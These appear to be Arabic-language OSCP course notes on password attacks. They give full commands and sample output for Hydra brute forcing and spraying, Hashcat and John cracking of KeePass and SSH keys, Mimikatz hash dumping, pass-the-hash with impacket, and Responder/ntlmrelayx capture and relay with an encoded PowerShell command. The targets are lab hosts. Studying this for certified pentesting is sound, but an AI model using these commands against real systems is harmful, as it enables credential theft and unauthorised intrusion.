الخدمات المواجِهة للإنترنت زي SSH وRDP وVNC وصفحات الدخول بتتعرّض لمحاولات كسر تلقائية تقريبًا فور ما تيجي أونلاين. أدوات كسر بيانات الاعتماد الآلية بقت في متناول الجميع وسهلة الاستخدام.
بيجرّب كلمة مرور واحدة معروفة ضد كثير من أسماء المستخدمين — عكس الـ brute force الكلاسيكي. فعّال لما بيانات اعتماد تسرَّبت أو وُجدت في ملف مكشوف أو أُعيد استخدامها عبر خدمات.
الهدف: SSH على بورت 2222 على 192.168.50.201 | اسم مستخدم معروف: george | الهدف: إيجاد باسورد george
# 1. تأكيد تشغيل الخدمة
nmap -sV -p 2222 192.168.50.201
# 2. فك ضغط قائمة rockyou
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
# 3. شنّ هجوم Hydra على SSH
hydra -l george \
-P /usr/share/wordlists/rockyou.txt \
-s 2222 192.168.50.201 ssh
# النتيجة
# [2222][ssh] host: 192.168.50.201 login: george password: iloveyou
ليه نجح: الباسورد الصح موجود في rockyou.txt، واسم مستخدم صالح تم الحصول عليه أثناء الاستطلاع.
# -L قائمة أسماء مستخدمين | -p كلمة مرور واحدة
hydra -L userlist.txt \
-p "Password123!" \
192.168.50.202 rdp
محاولات الدخول الكبيرة بتولّد logs أمنية كثيرة وتنبيهات. سياسات lockout الحسابات ممكن تعطّل حسابات وتؤثر على مستخدمين حقيقيين. دايمًا افعل استطلاعًا دقيقًا قبل الإطلاق — خصوصًا في بيئات إنتاجية.
تقريبًا كل اختبار اختراق بيتضمّن تطبيقات ويب بفيها موارد محمية بتوثيق. لو الباسوردات الافتراضية فشلت، هجمات القائمة على صفحات الدخول بتبقى الخيار التالي. التوثيق الويب بيستخدم HTTP — بيحتاج معلومات إضافية مقارنةً بـ SSH/RDP.
fm_usr، fm_pwd)كيفية الحصول عليهما: استخدام proxy اعتراضي زي Burp Suite لالتقاط طلب HTTP الخام، وإرسال تسجيل دخول تجريبي لرؤية رسالة الفشل الدقيقة اللي بيرجّعها السيرفر.
حساب معروف: admin / user | الباسوردات الافتراضية فشلت → استخدام wordlist | جسم POST المُلتقَط: fm_usr=user&fm_pwd=test123 | رسالة الفشل: "Login failed"
hydra -l user \
-P /usr/share/wordlists/rockyou.txt \
192.168.50.201 http-post-form \
"/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed"
# النتيجة
# [80][http-post-form] host: 192.168.50.201 login: user password: 121212
| ما يراه المدافعون | الإجراء الدفاعي |
|---|---|
| حجم كبير من طلبات الدخول الفاشلة في وقت قصير | WAF — يمنع أو يُعلم عن الحجم الشاذ |
| محاولات متكررة من IP واحد | Rate Limiting — يحدّ محاولات الدخول لكل IP |
| طلبات تستهدف حسابات أو endpoints محددة | fail2ban / Account Lockout — يحجب الـ IPs بعد N فشل |
| أنماط ترافيك غير معتادة على صفحات الدخول | CAPTCHA — يمنع الأدوات الآلية من إرسال النماذج |
-l للمستخدم الواحد، -L للقائمة | -p للباسورد الواحد، -P للقائمةإزاي التطبيقات بتخزّن الباسوردات: المستخدم بيُنشئ باسورد ← النظام بيعمل له hash ← بس الـ hash بيتخزَّن في قاعدة البيانات. عند الدخول: الباسورد المُدخَل بيتعمل له hash ← بيتقارن مع الـ hash المخزَّن ← تطابق = وصول مسموح. المدراء والمهاجمون اللي بيوصلوا لقاعدة البيانات بيشوفوا bashes فقط — مش نص واضح.
| Offline (Hashcat / John) | Online (Hydra) |
|---|---|
| لا ترافيك شبكة — حسابات محلية بالكامل | كل محاولة تولّد ترافيك شبكة |
| لا account lockouts — محاولات غير محدودة | ممكن يُعطّل حسابات ويُنبّه الأمان |
| لا تنبيهات في أنظمة التوثيق | Logs مرئية للمدافعين |
| ممكن يتوزَّع على كثير GPUs لسرعة هائلة | مقيَّد بسرعة الشبكة والـ lockout policies |
الوقت = Search Space ÷ Speed | Search Space = (حجم charset) ^ (طول الباسورد)
62 حرف × 5 حروف = 916 مليون تركيبة | 62 حرف × 8 حروف = 218 تريليون | بـ GPU SHA-256 (~9.2 مليار hash/ثانية): 5 حروف ≈ 0.1 ثانية | 8 حروف ≈ 6.5 ساعة | 10 حروف mixed ≈ سنين. الباسوردات القوية (12+ حرف، مختلطة) بتقاوم الكسر offline.
المشكلة مع القوائم العادية: سياسات الباسورد الحديثة بتتطلب uppercase وأرقام ورموز. معظم مدخلات rockyou.txt بتفشل هذه المتطلبات. التعديل اليدوي لملايين المدخلات غير عملي.
الحل: تحويل قائمة القواعد (Rule-Based) — ملف قواعد يحتوي تعليمات تحويل تُطبَّق على كل مدخل في القائمة. العمليات: إضافة حروف، تغيير الحالة، استبدال حروف، إعادة ترتيب الأجزاء.
مثال: كيف password يتحوّل لـ Password1!
ترتيب القواعد مهم: "أضف ! ثم 1" يعطي Password!1 — نتيجة مختلفة! كذلك bcrypt بيبطّئ الكسر عمدًا — يقلّل ميزة GPU.
تصدير من قاعدة بيانات مخترَقة، memory dump، أو ترافيك شبكة ملتقَط
استخدام hashid أو hash-identifier لتحديد الخوارزمية — نوع غلط = صفر نتائج
تقدير وقت الكسر = keyspace ÷ سرعة GPU؛ مراعاة مواعيد نهاية المهمة
تطبيق تحويلات rule-based، تحليل سياسة الباسورد، الاستفادة من مجموعات الاختراقات
شنّ Hashcat/John بالوضع الصحيح؛ التحقق من النتائج — أخطاء إملائية أو وضع خاطئ يضيّع كل المجهود
.kdbx — قابلة للنقل offline للكسرالاتصال عبر RDP، التحقق من التطبيقات المثبَّتة، تأكيد وجود KeePass
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse
# إيجاد Database.kdbx
keepass2john Database.kdbx > keepass.hash
# إزالة بادئة اسم الملف قبل النقطتين
hashcat --help | grep -i KeePass
# الوضع 13400 (KeePass 1/2 AES)
hashcat -m 13400 keepass.hash rockyou.txt \
-r rockyou-30000.rule --force
استخدام الباسورد الرئيسي المكتشَف لفتح KeePass — كل بيانات الاعتماد المخزَّنة تنكشف
كيف تتعرّض المفاتيح: ثغرات Directory Traversal أو قراءة ملفات ممكن تكشف ~/.ssh/id_rsa. حتى مع المفتاح، الـ passphrase بيمنع الاستخدام المباشر.
باسوردات Dave: Window، rickc137، dave، superdave، megadave، umbrella | سياسة (يناير 2022): 3 أرقام + capital + special character | النمط: Dave بيستخدم '137'، بيكبّر الحرف الأول
ملف القواعد المبني من الاستخبارات:
# تحويل المفتاح لـ hash قابل للكسر
chmod 600 id_rsa
ssh2john id_rsa > ssh.hash
# إيجاد الوضع الصحيح
hashcat -h | grep -i ssh
# الوضع 22921 = OpenSSH private keys
# لو Hashcat فشل (AES-256-CTR) استخدم John:
john --wordlist=ssh.passwords \
--rules=sshRules ssh.hash
# الـ passphrase المكتشَف:
# Umbrella137!
# التوثيق بالمفتاح
ssh -i id_rsa -p 2222 dave@192.168.50.50
الاستخبارات المتعلقة بأنماط باسوردات الشخص المستهدَف (سنة، حيوان محبوب، نمط رقمي) تمكّن بناء wordlist صغيرة ومركّزة بدلًا من تشغيل rockyou.txt الكامل — مما يوفّر وقتًا ثمينًا.
LSASS — العملية المستهدَفة: Local Security Authority Subsystem Service — تتعامل مع توثيق المستخدم، تغييرات الباسورد، إنشاء access tokens. تُخزَّن NTLM hashes في الذاكرة ← كنز للمهاجمين.
الصلاحيات المطلوبة: حساب Administrator + SeDebugPrivilege (صلاحيات debug) + SYSTEM-level token (عبر token::elevate)
# حصر الحسابات المحلية
Get-LocalUser
# فتح Mimikatz والتصعيد
privilege::debug
token::elevate
# تفريغ SAM hashes
lsadump::sam
# مثال على الخرج
# User: nelly
# NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
# كسر offline بـ Hashcat (الوضع 1000)
hashcat -m 1000 ntlm.hash rockyou.txt
Pass-the-Hash = التوثيق لـ Windows باستخدام username صالح + NTLM hash — بدون الحاجة لكلمة مرور واضحة. بما إن NTLM hashes غير مُملَّحة (unsalted) وتبقى ثابتة عبر الجلسات، الـ hash المستخرَج من نظام واحد يمكن استخدامه للتوثيق لأنظمة أخرى تشترك نفس بيانات الاعتماد.
البروتوكولات التي تدعم التوثيق بالـ Hash: SMB (مشاركات ملفات، lateral movement)، RDP (دعم محدود في بعض الإعدادات)، WinRM (PowerShell عن بُعد)
حسابات المدير المحلي (local administrator) مقيَّدة من الأفعال الإدارية عن بُعد افتراضيًا. الاستثناء: حساب Administrator المدمَج (RID 500) يتجاوز هذه القيود.
الوصول لـ FILES01، الحصول على بيانات اعتماد حساب مستخدم
محاولة الوصول لـ \\192.168.50.50\secrets على FILES02 — الوصول يفشل
privilege::debug → token::elevate → lsadump::sam
# عبر smbclient
smbclient \\\\192.168.50.50\\secrets \
-U "Administrator%aad3b435b51404eeaad3b435b51404ee:NTLM_HASH_HERE"
# عبر CrackMapExec
crackmapexec smb 192.168.50.50 \
-u Administrator \
-H NTLM_HASH_HERE \
--shares
# SYSTEM shell عبر psexec
impacket-psexec Administrator@192.168.50.50 \
-hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
# User-context shell عبر wmiexec
impacket-wmiexec Administrator@192.168.50.50 \
-hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
Windows بيرجع لـ Net-NTLMv2 لتسجيلات الدخول الشبكية لما Kerberos غير متاح أو غير مدعوم. شائع للتوافق الخلفي في البيئات المختلطة أو القديمة.
الـ response المشفَّر يحتوي بيانات مشتقة من الـ NTLM hash الحقيقي للمستخدم. التقاط هذا الـ response يمكّن من كسر الباسورد offline. لو الكسر فشل، التوثيق المُلتقَط لسه ممكن إعادة توجيهه (relay) لأنظمة أخرى.
بيتصرّف كـ SMB / HTTP / FTP server مزيَّف. بيُسمَّم استعلامات LLMNR وNetBIOS-NS لحلّ أسماء الشبكة. بيعترض محاولات التوثيق ويلتقط الـ challenge-response hash.
# 1. تشغيل Responder كـ SMB server مزيَّف
sudo responder -I eth0 -v
# 2. تحفيز التوثيق على الهدف (لو command exec متاح)
dir \\192.168.45.X\test
# Responder بيلتقط:
# [SMB] NTLMv2-SSP Hash: paul::DESKTOP01:aabbccdd...
# 3. الكسر بـ Hashcat (الوضع 5600 = NetNTLMv2)
hashcat -m 5600 paul.hash \
rockyou.txt --force
# 4. استخدام بيانات الاعتماد المكتشَفة عبر RDP
xfreerdp /u:paul /p:Password1 /v:192.168.50.X
لما الكسر يفشل: الباسوردات القوية ممكن تقاوم الكسر خلال فترة المهمة. البديل: إعادة توجيه التوثيل المُلتقَط مباشرةً — بدون الحاجة للكسر.
1) الهدف بيتوثّق للـ server المزيَّف للمهاجم (ntlmrelayx) | 2) المهاجم بيُعيد توجيه (relay) ذلك التوثيق لجهاز هدف ثانٍ | 3) الجهاز الثاني يقبله كتسجيل دخول شرعي | 4) لو المستخدم المُعاد توجيهه عنده صلاحيات admin ← تنفيذ أوامر عن بُعد ممكن
# ntlmrelayx بيعيد توجيه التوثيق للهدف الثاني
impacket-ntlmrelayx \
--no-http-server \
-smb2support \
-t 192.168.50.212 \
-c "powershell -enc JABjAGwAaQBlA..."
SMB signing لازم يكون معطَّلًا على الجهاز الهدف عشان هجوم الـ relay ينجح. لو SMB signing مفعَّل، الـ relay هيفشل لأن الجهاز هيتحقق من توقيع رسائل SMB.
| الأمر | الوظيفة |
|---|---|
hydra -l USER -P list.txt HOST ssh | dictionary attack على SSH |
hydra -L users.txt -p PASS HOST rdp | password spraying على RDP |
hydra -l USER -P list.txt HOST http-post-form "/path:user=^USER^&pass=^PASS^:Fail msg" | هجوم على HTTP POST form |
-s PORT | تحديد بورت غير افتراضي |
-t 4 | عدد threads المتوازية (افتراضي 16) |
| الوضع | نوع الـ Hash | الأمر |
|---|---|---|
| 1000 | NTLM | hashcat -m 1000 hash.txt wordlist.txt |
| 5600 | NetNTLMv2 | hashcat -m 5600 hash.txt wordlist.txt --force |
| 13400 | KeePass 1/2 | hashcat -m 13400 hash.txt wordlist.txt -r rules.rule |
| 22921 | SSH Private Key | hashcat -m 22921 hash.txt wordlist.txt |
| أي | مع قواعد | -r /usr/share/hashcat/rules/rockyou-30000.rule |
| الأداة | الأمر | الخرج |
|---|---|---|
| keepass2john | keepass2john db.kdbx > keepass.hash | hash وضع 13400 |
| ssh2john | ssh2john id_rsa > ssh.hash | hash وضع 22921 |
| hashid | hashid hash_value | تحديد نوع الـ hash |
| الأداة | الاستخدام |
|---|---|
impacket-psexec | SYSTEM shell عبر PtH |
impacket-wmiexec | shell بسياق المستخدم عبر PtH |
crackmapexec smb | فحص وتنفيذ عبر SMB بالـ hash |
smbclient | الوصول لمشاركات SMB بالـ hash |
impacket-ntlmrelayx | relay هجوم NTLMv2 |
responder -I eth0 -v | التقاط NTLMv2 hashes |
privilege::debug # الحصول على SeDebugPrivilege
token::elevate # تصعيد للـ SYSTEM token
lsadump::sam # تفريغ NTLM hashes من SAM
sekurlsa::logonpasswords # استخراج كلمات مرور من LSASS
في الموديول ده، غطّينا طيفًا واسعًا من تقنيات هجمات كلمات المرور — من هجمات online على خدمات الشبكة، لحد الكسر offline المتطوّر، وصولًا لاستغلال بروتوكولات Windows للتنقّل الجانبي (lateral movement).
| التقنية | الهدف | الأداة الرئيسية |
|---|---|---|
| Dictionary / Brute Force | SSH، RDP، HTTP logins | Hydra |
| Offline Hash Cracking | NTLM، NTLMv2، KeePass، SSH keys | Hashcat، John |
| Rule-Based Mutation | تحقيق متطلبات سياسة الباسورد | Hashcat rules |
| Hash Extraction | LSASS / SAM | Mimikatz |
| Pass-the-Hash | Lateral movement بدون باسورد | psexec، wmiexec، CrackMapExec |
| NTLMv2 Capture | التقاط challenge-response | Responder |
| NTLMv2 Relay | الوصول بدون كسر | ntlmrelayx |
الدرس الأهم في الموديول ده: هجمات كلمات المرور مش بس "جرّب كل الاحتمالات". المحترف الحقيقي بيجمع استخبارات عن الهدف، يبني wordlist مخصَّصة، ويختار التقنية الصح (online/offline/relay/PtH) بناءً على البيئة المستهدَفة والوقت المتاح. الـ hash المُستخرَج ممكن يكون أقوى من الباسورد نفسه — لأنه لا يحتاج كسرًا لاستخدامه.
نهاية نوتس الموديول الثالث عشر — OSCP: Password Attacks